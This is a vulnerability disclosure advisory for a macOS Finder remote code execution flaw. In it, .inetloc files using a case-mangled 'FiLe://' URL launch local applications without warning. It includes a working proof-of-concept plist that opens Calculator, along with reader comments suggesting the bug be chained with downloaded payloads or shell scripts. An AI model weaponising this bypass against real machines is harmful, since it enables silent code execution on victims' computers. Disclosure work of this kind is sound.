SSD Advisory – macOS Finder RCE
TL;DR
Find out how a vulnerability in macOS Finder system allows remote attackers to trick users into running arbitrary commands.
Vulnerability Summary
A vulnerability in macOS Finder allows files whose extension is inetloc to execute arbitrary commands, these files can be embedded inside emails which if the user clicks on them will execute the commands embedded inside them without providing a prompt or warning to the user.
Credit
An independent security researcher, Park Minchan, has reported this vulnerability to the SSD Secure Disclosure program.
Affected Versions
- macOS Big Sur and prior
Vendor Response
The vendor has notified us that file:// has been silently patched the vulnerability in Big Sur and has not assigned it a CVE. We have notified Apple that FiLe:// (just mangling the value) doesn’t appear to be blocked, but have not received any response from them since the report has been made. As far as we know, at the moment, the vulnerability has not been patched.
Vulnerability Analysis
A vulnerability in the way macOS processes inetloc files causes it to run commands embedded inside, the commands it runs can be local to the macOS allowing the execution of arbitrary commands by the user without any warning / prompts.
Originally, inetloc files are shortcuts to an Internet location, such as an RSS feed or a telnet location; and contain the server address and possibly a username and password for SSH and telnet connections; can be created by typing a URL in a text editor and dragging the text to the Desktop.
The case here inetloc is referring to a file:// “protocol” which allows running locally (on the user’s computer) stored files.
If the inetloc file is attached to an email, clicking on the attachment will trigger the vulnerability without warning.
Newer versions of macOS (from Big Sur) have blocked the file:// prefix (in the com.apple.generic-internet-location) however they did a case matching causing File:// or fIle:// to bypass the check.
Demo
Exploit
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>URL</key>
<string>FiLe:////////////////////////System/Applications/Calculator.app</string>
</dict>
</plist>
It’s not just possible in the ‘Mail’ application.
This vulnerability allows any program that can attach and execute files (iMessage, MS Office…) to Remote Code Execution from the operating system.
Is there a way to pass arguments to the program that opens? Or run arbitrary commands? It seems this vulnerability can only be used to open Calculator.app or Terminal.app.
This inetloc vulnerability would be part of a two-part strategy to compromise a machine. The first part would be a malicious app or shell script, and then this inetloc thing would be used to execute the app/script. As you point out, this can just launch an application, but that in and of itself is not supposed to be possible using an inetloc file and needs to be corrected. Remember a shell script is also an executable “app” as far as the OS is concerned, it just needs Terminal to run, but you can link a .sh file with the inetloc method and do a lot of damage really fast.
Create a payload and use ftp or some method to download then execute the payload.
Great find! Me gusta mucho esta app
It seems to be patched on my MAC os (bigsur 11.4).
I made the PoC code into the ‘test.inetloc’ file and double-clicked it to run it as the default mac os mail app.
Comments are closed.